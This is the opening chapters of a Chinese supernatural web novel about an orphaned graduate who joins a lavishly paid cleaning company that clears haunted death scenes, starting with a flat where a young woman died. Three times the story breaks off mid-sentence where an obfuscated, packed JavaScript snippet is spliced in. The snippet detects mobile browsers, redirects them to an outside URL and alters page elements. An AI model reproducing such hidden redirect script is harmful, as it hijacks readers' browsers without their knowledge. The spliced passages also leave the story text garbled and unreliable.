《保洁费日结两千,那家凶宅又下单了》 1. 欢迎加入绿萝 云山寺香火缭绕,顾怀彰跪在软垫上双手合十,神情虔诚。 姜栩陪着她来的,她本身不信这些, 孔夫子说了,敬鬼神而远之。 一个孤儿,摸爬滚打到大,便很难相信这世上有什么拜一拜就能求来的运气。 何况众人跪拜,皆因为心中有所求,所以云山寺香火鼎盛。 倘若佛祖真的能听到人心所想,件件都遂了愿,这寺中倒不该有那许多痴男怨女了。 然而来都来了,当着和尚不骂贼秃这个道理姜栩还是懂。 于是她也学着顾怀彰的样子,双手合十拜了三拜,草草行了礼,便站起身。 两人从云山寺出来下山,还不断有人逆着往山上走。 顾怀彰叹了口气:“也不知道咱们什么时候也能转运。” 她们毕业快半年了,简历投了十几分,都石沉大海。 她是外地的,在这座城市念了大学,一心想留下来。 姜栩就在本地的孤儿院长大,倒没有非要扎根的执念,只是想有个能落脚的地方。 两个人合租一个一室一厅,客厅隔出一半给姜栩当卧室,地方特别小,转个身都能撞到墙。 地方小,梦想却大得很,和所有刚毕业的年轻人一样,嘴上说着躺平,心里填满了对未来的理想。 顾怀彰充满憧憬地叹了口气:“来都来了,咱俩总得拜拜,都说云山寺的菩萨最灵验了,说不定咱俩运气能提升一点,一定能找到工作的。” 顾怀彰的眼睛亮晶晶的,神情里都是对未来的期待。 姜栩张嘴正想说什么,手机响了。 低头一看,是一封邮件,一家名叫绿萝的家政公司发来的,通知她去参加最后一轮面试。 顾怀彰满怀期待地凑过来看了一眼,说:“家政公司啊。” 语气里带了一点惋惜。 她总觉得姜栩值得更好的去处,毕竟大学四年,成绩单拿出来也不比谁差。 姜栩倒是接受得很好。 她把手机揣回兜里,语气很轻快:“家政公司好歹也是个正经单位,我还欠着一屁股助学贷款呢,先干着,把债换上再说。” 她伸手揽过顾怀彰的肩膀:“等我找到工作,请你吃火锅。” “真的?” “真的,你随便点。” 俩人的步子禁不住轻快起来,要回出租屋挑一件看得过眼的衣服,两个人的影子挤在一起,晃来晃去的。 面试约在周三下午。 姜栩坐了一个半小时的地铁,又倒了三站公交,终于到了地方。 她下车抬头一看,愣了一下。 眼前是一栋四十多层的写字楼,玻璃幕墙在日光下泛着冷冽的银灰色光泽。 整栋大楼几乎是拔地而起,直插云霄,在这个还算繁华的商业区居然也能算得上数一数二。 巨大的LED屏镶嵌在大堂入口上方,正滚动播放着绿萝家政公司的企业宣传片。 大堂门口立着一块黑色大理石铭牌,烫金大字写着“绿萝城市环境服务集团”。 门口来往的人都穿着正装,步履匆匆,胸前挂着统一的工作牌,看起来和任何一家高端企业没什么两样。 姜栩深呼吸几秒,伸手拽拽自己身上穿的因为赶车而显得有点皱巴的小西装,这小西装还是借的顾怀彰的。 但是没所谓,姜栩想,再怎么样自己也有资格踏进这里来面试,大家本质上都是一样的。 思及此,姜栩瞬间像是一只斗志昂扬的小公鸡,昂首挺胸走进了旋转门。 人事部面试间,助理已经在等她了。 这是姜栩第一次看到宋清砚,她在简讯上的语言总是雷厉风行点到为止,线下来看也是个干脆利落的人,看起来不过三十出头,戴银色细边框眼镜,短发利落地别在而后,穿白衬衫,有棱有角的。 见到姜栩,她露出一个微笑,显得很亲切,一下子就拉近了和姜栩之间的距离。 “姜小姐,”宋清砚直入主题,“你的基本情况我已经了解了,接下来问几个岗位相关的问题,你如实回答就行。” 姜栩点点头。 “怕不怕脏?” 姜栩想了想。 孤儿院里什么脏活没干过,厕所堵了自己通,下水道坏了撸起袖子就上,她摇摇头:“不怕。” “有时候会接触一些特殊场景的清洁。怕不怕尸体?” “不怕。” “怕不怕鬼?”宋清砚的目光隔着镜片,不闪不避地盯着她。 “不怕。” 现在的姜栩除了贫穷,什么都不怕。 宋清砚笑了,在电脑上敲了几下:“欢迎姜小姐加入绿萝大家庭。” 说着,从抽屉拿出一个东西,递给姜栩。 姜栩接过来一看,是一块工牌,黑铁材质,沉甸甸的,入手冰凉,像是早就准备好了一样,上面镌刻着她的信息: 姓名:姜栩 工号:NO.4494 职位:初级清洁工(实习) 部门:特殊污渍清理部·第三外勤组 异能:无 最下面还有一条细细的凹槽,里面空无一物,旁边标注着三个小字:“功德值”。 姜栩用手指摸了摸那条凹槽,抬起头看向宋清砚,眼神里写满了疑惑。 清扫还能有功德? 她活了二十多年,头一回听到这种说法。 “功德值是什么?” 宋清砚像是早就习惯了新人的这种反应,靠在椅背上,笑着解释道: “你以后就会知道,我们公司接的很多单子,不是普通的清洁。比如说,孤独死的老人,在家里走了很久才被人发现,那种现场普通保洁公司是不接的。还有一些……” 她顿了顿,斟酌了一下措辞。 “一些特殊的场景清理,你以后就知道了。” 宋清砚重新打开一个页面,手指在桌面上轻轻敲了两下,语气从解释变成了介绍:“下面说一下员工福利。” “底薪一个月两万。日结津贴,最低标准是两千元每天,这个是底薪之外的。” “也就是说,你哪怕跟着出一天最简单的任务,做日常清洁,这一天的津贴就是两千。” 姜栩的手指不自觉地收紧了。 两万底薪,一天两千津贴。 她快速在心里算了一笔账,算到一半就不敢算了。 她怕自己算错了。 “如果是特殊任务,价格另算。” 宋清砚滑动屏幕,不紧不慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587135|205334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地念道。 “C级任务,一般涉及死过人的凶宅、孤独死现场之类的,五万元到十万元一单。” “B级任务,三十万一单,并且全额报销损耗。” “A级任务,五十万一单,另外附赠公司名下豪宅一套。” 她说完,推了推眼镜,补了一句:“当然,那些豪宅以前也基本都是凶宅,不过公司的净化部门都已经处理过了,干干净净,能住人。” 宋清砚说完就静静地看着姜栩的动静,见姜栩半天没说话,她问道:“姜小姐对薪资不满意?我们还有其他的员工福利,例如报销租房和医疗等,后续我会发一个员工手册给你,上面都有的。” “至于工资,这只是你目前职级的工资,等后面姜小姐的职级上升,工资也会随之上涨的。” 姜栩有点头晕。 宋清砚像是已经习惯了新人这种反应,她波澜不惊: “姜小姐回去好好休息,明天早上八点来公司报道,这是今日的路费,公司报销。” 姜栩看着手机上,她和宋清砚的对话框里一千元的转账,脑子嗡嗡响。 她朦胧中感觉自己好像上了一艘不太对劲的船。 但是船舱里有人发钱,发很多钱。 姜栩头重脚轻地离开绿萝大楼,回去的路上想到自己如今已经身怀巨款,于是很慷慨地打了个车。 主要是她现在脑子乱乱的,已经没有多余的精力思考绕来绕去的转车线路。 出租车在城市的暮色中一路飞驰,快到家的时候,姜栩已经头脑清明并且振奋起来,她兴奋地给顾怀彰打电话:“出来,火锅!” 姜栩几乎在出租车里手舞足蹈:“姐要带你过好日子啦!” 两人约在商场,顾怀彰一看到她就问:“怎么样怎么样?” “成了!” 顾怀彰尖叫了一声,抓着姜栩的胳膊使劲儿晃:“你看看你看看,我就说云山寺很灵验!你还不信!” 姜栩被她晃得头晕:“对对对,你说的都对!” 顾怀彰的心情好得不得了,转身往火锅店走:“那我今天可得好好宰你一顿!怎么说你都得请我吃两份鸭血!” 她张了张嘴,想说什么,又咽了回去。 公司的事,她没打算全说。 倒不是想瞒着顾怀彰,只是话到嘴边,她想了想,觉得不能说太多。 顾怀彰还没找到工作,这半年投出去的简历不比她少,面试也去了好几次,每次回来都笑嘻嘻地说挺好的挺好的,但姜栩知道她半夜翻来覆去睡不着,手机屏幕的光亮到凌晨两三点,在招聘软件上来回地刷。 她怕顾怀彰着急。 姜栩知道她不会嫉妒,两个人大学的时候就是舍友,算得上相依为命,但姜栩也很了解她。 这个姑娘看起来大大咧咧,实则内心敏感,很容易自我怀疑。 所以姜栩只是轻描淡写地说:“工资还不错。” 顾怀彰探头:“不错是多少?” “够养你了。”姜栩笑着说,“等稳定下来,咱们换个大点的房子,你现在那个隔断间转个身都撞墙,我这边沙发也睡得腰疼。公司说可以报销租房补贴,到时候咱俩一人一间卧室。” 顾怀彰愣了愣,然后眼睛一下子亮了。 2. 被高薪冲昏了头脑 第二天早上八点,姜栩准时出现在绿萝大厦。 她还没来得及好好看一眼金碧辉煌的公司大楼,宋清砚就打来了电话,语气简洁明了: “姜栩,你的工牌和装备已经送到楼下,一辆黑色面包车在等你,车牌号发你了,上车报道,直接出任务。” 说完就挂了。 姜栩本来还以为第一天上班,可以在办公室里坐坐摸摸鱼,认识一下新同事,磨一磨公司的免费咖啡,结果连门都没进去,就被一辆面包车拉走了。 那辆黑色面包车停在写字楼侧门的临时停车区,车身侧面印了一个小小的低调的绿萝标志。 驾驶位的车窗开着,从姜栩的角度只能看见一只胳膊搭在窗沿上,垂着手背,在车帮子上一敲一敲的。 姜栩拉开后排车门,车里已经坐了两个人。 副驾上坐着一个扎两只低麻花辫的小姑娘,看着和姜栩年龄差不多,圆圆的脸,眼睛又大又亮,穿黑色的工服,显得皮肤特别白,正扭着身子跟后座的人说话。 后座靠里的座位坐着一个瘦高的男生,安安静静的,只是听前面的姑娘说,耳根子红彤彤的,看起来特别腼腆。 两人看到姜栩拉开车门,同时看过来。 麻花辫姑娘反应快,眼睛一亮,直接从前排探过身子,自来熟低向姜栩伸手:“哈喽哇,欢迎欢迎,我叫周小满,你叫我小满就行,初级清洁工,入职三个月了。” 姜栩握住她的手:“姜栩,今天第一天上班,实习清洁工。” “第一天就出外勤,运气不错啊。”周小满眨了眨眼睛,“我入职头一个礼拜都在办公室看培训视频,无聊死了。” 后排男生期期艾艾,那只手缩回去伸过来,好像在犹豫。 姜栩大大方方伸手过去:“你好。” 男生火速握了一下姜栩的指尖:“林知远,初级清洁工,比你快早来两个月。” “你别看他话少,”周小满拍了拍座椅靠背,“干活儿的时候可利索了。” 驾驶座上的人开口了,声音不高,言简意赅:“车门关上,安全带系好,出发了。” 姜栩这才注意到驾驶位上的女人,三十出头的年纪,黑色短夹克,短发很利落。 她没有回头,一只手搭在方向盘上,一只手搭在车窗上。 车内的后视镜映出她半张脸,线条分明,眉眼沉稳而锐利。 “季容,第三外勤组组长。”她抬眼,在后视镜里扫了姜栩一眼,“第一天出任务,多看少动,跟着小满。” “明白。”姜栩系好安全带。 季容挂挡,松手刹,面包车平稳地驶出停车区,汇入早高峰的车流。 “任务简报发你们终端上了,路上看一下。”季容单手握着方向盘,另一只手在平板上划了两下,头也不回地说。 周小满立刻掏出平板点开文件,直接从副驾驶上扭过身子,分享给后面两个人看。 姜栩今天刚来,对任务还有着本能的好奇,林知远也默默凑过来一点。 “其实这个案子,我前两天在新闻上已经看到了。” 周小满说:“女子饮用药物过量导致身亡。” “药物?她服药自尽?” 周小满摇摇头:“据说是一种情趣类药物,新闻上说这个女子生前是在酒吧打工的。” 周小满点到即止,在座的人也大概能够联想到发生了什么。 姜栩低头看着手机屏幕上的任务简报。 人已经死了,这份简报上的信息也很简洁,只知道是个年轻女子,职业是酒吧侍酒,住在铁西区36栋304。 死亡时间两周。 因为是冬天,尸体搁了两周才被隔壁邻居闻到味道,报了警。 一个活生生的人,死后被压缩成这么几行字,还在新闻上成了别人的谈资,她接下来的工作,就是去清理这个人存在过的最后的痕迹。 “所以你说,人活着到底图个什么?”周小满靠回副驾椅背上,难得地安静了一小会儿。 季容打了个方向盘,车子拐进一条岔路,她看着前方,声音不大:“少议论主家的私事,到了现场该干什么干什么。” 周小满立刻坐直了身体,做了个给嘴巴拉上拉链的手势。 但拉链维持了不到五秒钟,她又扭过脑袋,朝姜栩眨了眨眼睛,用口型无声地跟她说了四个字:“习惯就好。” 姜栩被她搞怪的神情逗笑,忽然觉得季容带着他们几个,好像是幼儿园的保育员带着三个小孩子。 又过了一阵儿,车子进入一条窄巷。 车窗外的风景慢慢变了样,高楼大厦都被甩在身后,取而代之的是一排排灰扑扑的旧楼,很多楼外面的水泥都斑驳了,露出里面的砂砾。 一坨一坨的电线在头顶交错成一张凌乱的网,沿街的店铺挂着褪色的招牌以及老旧的霓虹灯,早点摊的蒸汽飘进车窗。 巷子越来越窄,季容打方向盘的动作却始终不紧不慢,车身灵活地避开路边堆放的杂物和晾晒的衣物,在一栋六层高的老式筒子楼前稳稳停住。 这栋楼孤零零地立在晨光里,墙体是那种上世纪八十年代常见的灰黄色水刷石,楼体上刷着“铁西区36栋”的字样,黑体加粗,大红油漆,只是油漆已经斑驳。 明明是大白天,阳光却好像照不进这栋楼,楼洞入口黑洞洞的,像一个张着嘴的喉咙。 周小满下车的时候明显缩了缩脖子,嘟囔了一句:“每次来这种地方都觉得凉飕飕的”。 林知远抱着装备箱,眼睛往楼上瞟了一眼,抿着嘴没说话。 季容已经跟社区做好了报备,拿到了钥匙,提醒:“三楼304,出发。” 这时候,楼洞口旁边的单元门“吱呀”一声开了,一个老太太佝偻着背,拎着一个鼓鼓囊囊的蛇皮袋,正准备出去捡瓶子去。 听见季容的话,用很古怪的眼神打量四人:“你们是去304的?” 周小满一下就意识到这里有事,她又是个社交悍匪,当下凑过去奶奶长奶奶短问起八卦来。 “奶奶,您也住这栋楼哇?” “我住她隔壁,305。”老太太指指三楼的窗户,嘴角往下撇了撇,“吓人哦,这房子闹鬼哦,可不敢随便进。” “怎么回事啊,奶奶,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587136|205334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东西重不重,我先帮您拿着。” 周小满拎着比自己还高的蛇皮袋。 老奶奶嘴唇抖了抖:“哎呦自从那个姑娘没了之后哇,我们这几层老邻居可就睡不好咯,一到晚上就听见哭声,哭得可惨咯!” 老奶奶一拍大腿。 “哎呦我儿子他们晚上下班回来哦,走廊里的灯就一闪一闪的,就看见304门口站着一个白惨惨的影子,也看不清脸,哎呦把我儿子那么一个大小伙子差点吓出心脏病来。” “后来一说发现大家都看见过哦。三楼的老陈,五大三粗一个汉子,有天晚上喝了酒回来,说那个影子朝他飘来了,吓得当时从楼梯上滚下去摔断了一条腿住了院,从医院出来就搬走了,吓死人了。” “还有哇,”老奶奶心有余悸地拍拍胸口,“之前她出了事啊,有个记者来采访,采访完写了报告,结果哦走到那里,哝就是那里,走到那个路口就忽然直挺挺倒下去了,救护车来的时候人都没了,说是猝死。” “吓死人了吓死人了,这房子就算你们打扫干净我们也不敢住了,我反正过两天也要搬走了,我闺女在城南给我找了个房子,我本来还舍不得这老房子,住了大半辈子了,哎呦哎呦……” 老太太嘴里叹息着,刷拉刷拉拖着她的蛇皮袋子走远了。 四个人面面相觑。 姜栩也没想到一大早上出外勤免费听了个鬼故事。 怪不得宋清砚面试的时候就问她怕不怕鬼。 这要是胆小的根本做不来这生意。 “走了。” 季容的声音从前面传来,她好像并没有被这个鬼故事吓到,依旧淡然从容。 她的脸隐没在漏洞阴影和外面阳光的交界处,半明半暗,看不清表情。 周小满凑在姜栩耳朵边嘀嘀咕咕。 季容平时话不多,林知远也是个一说话就脸红害羞的主,周小满终于找到一个能说话的,犹如老鼠进了米缸,姜栩怀疑自己就是那个米缸。 “队长心里素质是咱们公司天花板级别的,跟着队长错不了。” 话是这么说,她的声音也有点颤抖。 姜栩深吸了一口气,拎起装备箱,跟了上去。 楼洞里阴凉潮湿,空气像是凝固了一样不动,脚踩在水泥地面上发出沉闷的回声,这个声音叫人总觉得背后有人,身后一阵阵发毛。 三楼的走廊又窄又长,两侧的房门一扇挨着一扇,都是厚重的铁门,有的外面还有一层网状防盗门,上面贴满了密密麻麻的各色小广告。 走廊尽头的灯泡一闪一闪的,发出细微的滋滋声。 304室就在走廊中间偏左的位置,门上贴着一张发黄的封条,封条的一角已经翘起来,被风吹得轻轻晃动。 季容站在304门口,拿出钥匙,最后叮嘱:“戴好手套面罩,小姜你是第一次来,如果有不舒服,随时下楼。” 姜栩点点头:“好。” 他们四个都穿着统一的黑色工服,这种材质防水透气,戴上黑色面罩,让姜栩产生一种里面是生化危机的错觉。 “嘎吱——” 季容推开了门。 3. 【36栋304】蝌蚪屋 比房间里的景色先涌出来的,是难以言说的气味。 周小满下意识后退了半步。 季容把门推开了,屋内窗帘紧闭,光线昏暗得像是傍晚,只有门外的走廊灯照进去一小片昏黄的光,落在玄关的地板上。 地板上还有干涸的褐色痕迹,看起来像是酱油也像是血迹。 季容没有立刻进门,而是从装备箱里取出一盏小巧的六角灯笼,特别古朴,好像是电视剧里经常见到的那种挂在廊檐下的六角灯,很精致,不过是缩小版。 她点燃一根火柴,灯芯燃起来,跳动起一朵暖黄色的小火苗,然后季容把它挂在304的门框上方。 忽然,那火焰簌簌抖动起来,好像屋子里有风一样,但明明垂挂的窗帘纹丝未动。 一股冷风从房间深处直扑过来,呼地一下,灯火猛地一缩,冒气一股青烟,灭了。 姜栩看见周小满的脸色一下子变得很严肃,就连季容的手都收紧了。 青烟从灯芯上袅袅升起,散在黑暗中,风停了。 那缕烟一颤,如豆的灯光摇曳了一下,再次亮起,只不过这一次,是绿色的灯光,绿莹莹的,如同暗夜中的鬼眼。 姜栩还没来得及开口问问题,忽然一股白色的浓雾从之前阴风吹来的方向喷涌而出,翻腾着瞬间将四个人吞没。 姜栩的眼前一片白茫茫,什么都看不清楚了。 “队长!”周小满的声音从左前方传过来,声音发紧。 “别慌。待在原地,别乱动。”季容的声音依旧沉稳。 姜栩能明显感觉眼前的浓雾在流动,仿佛有实体一样,只是不知这浓雾是否有尽头。 她站在雾里,心跳如擂鼓。 滴答。 一片寂静中,姜栩听见了滴水的声音。 滴答,滴答,滴答。 滴水声有条不紊,从四面八方滴落,好像整个房间漏水了,在往下滴水。 姜栩动了动脚,原本她穿着和工服配套的靴子,靴子很厚,没什么感觉,这一动,才能听见脚下哗啦哗啦的水声,好像她正站在水中。 雾气开始变薄。 姜栩低下头,隐约看见脚下的积水,再一抬头,眼前的景象让她愣住了。 雾气完全散尽,房间还是那个房间。 筒子楼的一室一厅,窗户朝南,卫生间非常狭小,而房间内部一半是白墙,白墙以下刷着绿色的油漆,看起来非常古老。 姜栩只在自己非常非常小的时候,在外公家见到过这种装修。 可是这房间又明显和刚进来的时候不一样了。 墙壁上长满了霉斑,黑的绿的灰的,顺着墙角蔓延到天花板,下半截墙壁的绿色油漆有些已经被泡透了,鼓起一个大包。 正面墙好像一大片溃烂的皮肤,看得人浑身痒痒。 桌上,地上堆满了灰扑扑的不知道是什么东西,有点像是食物腐烂,衣服泡在积水中发霉,导致沤烂了的样子。 整个房间黑漆漆一片,窗帘紧闭着,这回是一点光都透不进来,唯一的光源就是门楣上那盏六角灯笼,绿油油的,好像红外夜视仪。 接着微弱的绿光,依稀看清地上坑坑洼洼都是积水,像是主人匆匆,没有来得及关闭水阀,导致漏水。 黑色的污水中似乎有东西在动,姜栩和小满同时弯腰去细看,这才看清水中密密麻麻是一只只长尾巴蝌蚪,挤在一起,浪潮一样涌动着自己的身体,拼命往四个人的鞋面上挤。 房间里怎么会有蝌蚪? 平时在公园水塘里看到蝌蚪还觉得挺可爱的,姜栩想起《小蝌蚪找妈妈》这个可爱的儿童故事,但看到这么密密麻麻的蝌蚪挤在一个屋子的积水里,心理冲击还是非常大。 “哇!”小满感叹了一声,随机从嗓子眼里发出一声诚恳的干呕,姜栩猜测她面罩下的表情一定龇牙咧嘴非常精彩。 姜栩现在无比感谢这个面罩,隔绝了绝大部分的味道,她几乎什么也闻不见,不过她猜测这个房间一定臭不可闻。 脚步声传来,一个穿着白色睡衣的小女孩从里屋走出来,站在几人面前。 “你们来做什么呀?” 声音甜甜的。 她穿着干干净净的白睡裙,和整个房间的肮脏格格不入,裙摆一直到小腿,露出一双白色的棉袜和粉色的小拖鞋,头发扎成马尾辫,梳得整整齐齐,五官清秀,看起来不过十四五岁,学生气很重,应该是初中或者高中生。 她很有礼貌地站在那里,两只手交叠着,歪着头看着这四个忽然出现在家里的陌生人,一双大眼睛好奇地打量这四个全副武装的黑衣人。 姜栩的后背一阵阵发凉。 不是因为这孩子有多吓人,只是她出现在这里,太不正常了,在不正常的环境中出现了一个正常人,这是多么不正常的一件事! 季容走上前一步,挡在三个队员前面。 她的声音依旧平稳,甚至还放轻了一点,像是真的在面对一个普通的初中生:“我们是清洁公司来做保洁的。请问这是沈蕴华家吗?” 小姑娘看了季容一会儿,慢慢点了点头。然后她侧过身子,让出通往客厅的路,像所有有礼貌的孩子一样轻声说:“是的。请进吧。” 周小满在后面轻轻拉了拉姜栩的袖子,把她往后拽了半步,凑到她耳边,声音压得极低:“这就是怨境了。” 姜栩转过头:“什么叫怨境?” “我也是第一次遇到,之前只在培训课上看到过。” “怨境就是,死者死后因为生前的执念久久不肯散去,灵魂徘徊在这个地方,就会形成怨境。” “是和现代社会完全重叠的另一个维度的空间,你可以理解成一种磁场,”周小满跟着季容往里走一边解释,“这里并不是真实存在的世界,而是死者的执念扭曲出来的景象,但是怨境会对现实世界产生干扰,就像磁场会扰乱人的心智,目的只有一个。” “什么?” “影响活着的人,怨境是会扩大的,如果不及时处理,它的范围会越来越大,波及的范围会越来越广。” “怨境,顾名思义,靠怨念存在。它会通过放大人内心的绝望和阴暗面,让你崩溃产生怨念,变成它的养料,刚才楼下那个奶奶所说的死去的记者,应该就是受到了怨境的影响。” 姜栩沉默了。 原来《咒怨》是纪录片。 周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587137|205334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小满絮絮解释:“我们公司所谓的情节,就是回收怨念。我们得找到怨念的根源,化解之后怨念才会消散。否则表面打扫得再干净,过两天怨境会重新凝聚,等于白干。” 季容半蹲下来,尽量和小姑娘的视线齐平:“好孩子,你叫什么名字啊?” 小姑娘眨眨眼睛,并不说话。 季容声音和蔼,又问:“沈蕴华是你妈妈吗?” 小姑娘还是眨眨眼睛,不说话。 真是奇了怪了,也不知这小孩是谁。 任务单上只说死去了一个女子,但没说这女子还有没有别的家庭成员。 眼前的这个大约十四五岁,最多称得上女孩。 所以季容猜测这个女孩是死亡女子的女儿,也情有可原。 但到底没问出来什么,季容只得让小女孩去休息,他们要开始干活了,小女孩这回倒是回答得很快,点点头,回房间看电视去了。 他们在客厅里隐约能听见电视的声音。 季容扫了一眼满屋子的狼藉,开始分派任务。 姜栩的任务是先把地面的积水打扫干净,她应了一声,在屋子里转了几圈,最后在客厅的角落里找到了扫帚和簸箕,也同样泡在水里,湿哒哒的。 但好在有可以用的工具。 姜栩硬着头皮把扫帚探进水里,往簸箕里一扫。 水中的小蝌蚪们受了惊吓,猛地炸开了锅,一个个疯狂甩动着尾巴,密密麻麻挨挨挤挤在浅水里翻腾,黑压压的身体互相缠绕碾压,发出吧嗒吧嗒的声响,好像无数条小舌头在咂动。 有几条被扫帚带起来,甩到了姜栩的鞋面上,扭动着胖乎乎的小身体努力往姜栩的裤腿里钻。 姜栩头皮一阵发麻,好在她的情绪是真的很稳定,抬起脚用力甩了甩,把它们甩掉。 另一边,林知远正蹲在角落清理堆积发霉的外卖盒,忽然发出一声小小的惊叫,整个人往后躲开。 一只小癞蛤蟆从垃圾堆里跳出来,咕咕叫着,不紧不慢蹦跶两下,拖着肥硕的肚子钻进另一堆垃圾下面。 林知远的面罩下发出绝望的叫声,周小满本来在嘲笑他,一转头发现发现自己产的鼓大泡的墙皮下面一嘟噜晶莹剔透颤颤巍巍的蟾蜍卵,也笑不出来了。 姜栩仰天叹了口气。 她平时也喜欢在网上看一些家政类的视频,看着那些乱七八糟的房子被打扫的干干净净特别治愈,特别有成就感,所以投简历的时候她并不排斥这一行业,甚至有点期待感。 没想到啊没想到,她居然蹲在一间怨灵构造的破屋子里扫蝌蚪水,也不知道这种视频拍完之后放到网上会不会有播放量。 她仰天叹了口气,紧接着想到了今天的出勤费用和日结津贴。 这都到了怨境级别,从普通凶宅上升成B级任务,三十万是妥妥有了。 干几单一套房产都出来了。 这么一想,她重新握紧了扫帚。 不就是恶心一点吗?穷可比蝌蚪恶心多了。 她扫得热火朝天,效率明显比刚才高了一大截。 林知远在背后默默地注视着她,内心翻江倒海。 不是,这姐这么内卷吗? 4. 【36栋304】蟾蜍成精了 林知远被姜栩身上那股劲头给鼓励到了。 他看了看自己面前那堆发霉的外卖盒,也重新蹲下去,闷头开始清理。 本来周小满还对着墙上那嘟噜蟾蜍卵龇牙咧嘴犯恶心,一扭头俩人一个赛一个卖力,愣了一下。 “不是,大家都是一个组的,你俩卷什么卷啊,你这不扰乱市场嘛!” 周小满嘴上抱怨着,手上也跟着赶紧动了起来。 毕竟队长也说了,怨境除非化解,否则他们无法离开,会永远困在其中,年长日久,成为怨境的一部分。 在这儿耗着不如早点收工。 她从装备箱里翻出一把刮刀,咬着牙对着墙上那层鼓泡的墙皮下了手。 季容一边清理客厅的垃圾,一边用余光扫过三个队员,面罩下的嘴角微微弯了一下。 怨境里的时间和外面的时间并不对等,他们在这里已经干了一阵子了,窗外的天色却始终是黑沉沉的,没有一丝变化。 里屋的电视一直开着。 声音穿过虚掩的房门,断断续续地飘进客厅。 “……本台消息,昨日晚间,一名男童在红鼎轩火锅城用餐时,跳上餐桌向火锅内小便,其家长拒绝赔偿并辱骂店家,称‘孩子还小不懂事’,目前店家已报警处理……” 姜栩正弯腰把一簸箕蝌蚪倒进回收袋里,听见这一耳朵,动作顿了一下。 她心说可真是世界之大无奇不有。 熊孩子哪儿都有,连怨境里的电视都在播这种新闻。 也不知道这怨境里的电视信号是从哪儿接过来的,播的倒是现实世界的真事儿,前阵子她还在手机上刷到过这个新闻的后续,说是店家索赔六万,家长反咬一口说店家敲诈,闹得沸沸扬扬。 她摇了摇头,继续扫水。 地上的积水扫了七八成,露出底下斑驳的地砖,但有一片区域的积水始终不见少,姜栩蹲下来仔细看了看,发现是下水道堵了。 水排不下去,在原地打着旋儿,水面浮着一层灰白色的泡沫。 姜栩皱了皱眉,把手套又紧了紧,伸手去掏下水道。 掏下水道这事本来就挺恶心的,在这种环境中恶心加倍。 隔着手套,姜栩也能感觉到手指慢慢探入冰凉的水里,摸到了一团软塌塌的东西。 她在心中祈祷不要是一只癞蛤蟆,用指尖把那团东西勾出来。 还好不是癞蛤蟆,是一个纸团。 文字是怨境当中非常重要的线索。 姜栩小心翼翼地展开,才发现这并不是一张完整的纸,而是被撕掉了一半,边缘参差不齐。 纸张被水泡得发软发胀,表面的颜料已经洇开了,但还能勉强辨认出上面的内容。 是一幅画。 铅笔打底,彩色笔填色,笔触稚拙,一看就是小孩子的画。 画上是一个女孩子,但因为只剩半幅,只能看见女孩的半张脸和半边身子。 女孩留着双马尾辫子,是那种很典型的小女孩画法,两个马尾一左一右翘起来,用的黑色的水彩笔涂的色。 但是女孩眼睛的位置,被画了两个叉。 姜栩知道绘画中这种表达一般表示此人已死。 姜栩盯着那半张脸看了一会儿,目光往下移。 女孩的手里拿着一个东西,是一个瓶子。 但因为画被撕掉了一半,瓶子也跟着被撕掉了半边,只能看见大致的轮廓,看起来像个药瓶。 但是看不见标签,也不知道瓶子里到底装了什么。 姜栩蹲在地上,摆弄这半幅残画,第一反应就是抬头看了一眼里屋的方向。 里屋的电视还在响,光影从门缝里一闪一闪地漏出来。 那个穿着白色睡裙的小姑娘就在里面,这个空间里目前只有这一个小女孩,画上画的会是她吗? 姜栩的思绪刚刚冒出一个头。 “咣——” 突如其来的巨响吓了她一跳,原来是墙上的老式挂钟忽然敲响了。 沉重的金属钟声在逼仄的房间里回荡,嗡鸣的尾音拖得很长。 紧接着,门楣上那盏六角灯笼毫无征兆地灭了,光芒瞬间消失,于此同时,里屋的电视声也断了,屏幕的光从门缝里消失。 整个空间像是被一只无形的大手按下了开关,黑暗降临得猝不及防。 窗外骤然炸开一道闪电,惨白的光劈进房间,四个人的影子在墙壁上一闪而过。 接着是雷声,轰隆隆从头顶碾过去,窗框都跟着嗡嗡作响。 下雨了,倾盆大雨砸下来,在窗玻璃上发出密集的声音。 闪电过去后,房间重新陷入一片黑暗之中。 姜栩保持着刚才的姿势,其他三人也都保持着刚才的姿势一动不动。 他们的眼睛都还没有适应这种突如其来的黑暗,沉默了大约三四秒。 窗外的雨声反而衬得房间里死一样寂静。 一片安静之中,周小满隐约感到有什么东西站在自己身后。 她听见了它的呼吸声。 她甚至能感觉它在靠近自己,当然她全身上下包裹着工作服,并没有裸露在外的皮肤。 但是为了方便工作,工作服的特殊材质能够最大限度帮员工保留与外界接触时的触感。 